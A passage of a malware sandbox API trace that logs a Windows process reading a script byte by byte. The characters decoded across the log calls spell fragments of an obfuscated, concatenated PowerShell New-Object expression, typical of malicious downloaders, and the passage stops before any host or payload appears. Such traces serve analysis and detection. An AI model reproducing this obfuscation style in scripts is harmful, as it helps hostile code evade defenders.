lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee378, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee37a, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee37c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.848] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.848] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.848] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee37e, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.849] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee380, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.849] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee382, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.849] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee384, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.849] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee386, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.849] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.849] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee388, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.849] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.849] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee38a, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee38c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee38e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee390, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee392, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee394, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.850] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.850] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee396, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.850] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.850] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee398, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee39a, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee39c, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee39e, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3a0, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.851] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3a2, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.851] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.851] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3a4, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3a6, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3a8, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3aa, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ac, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ae, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.852] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3b0, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0103.852] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.852] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3b2, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3b4, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3b6, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3b8, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ba, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3bc, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.853] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.853] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3be, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.853] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3c0, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3c2, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, 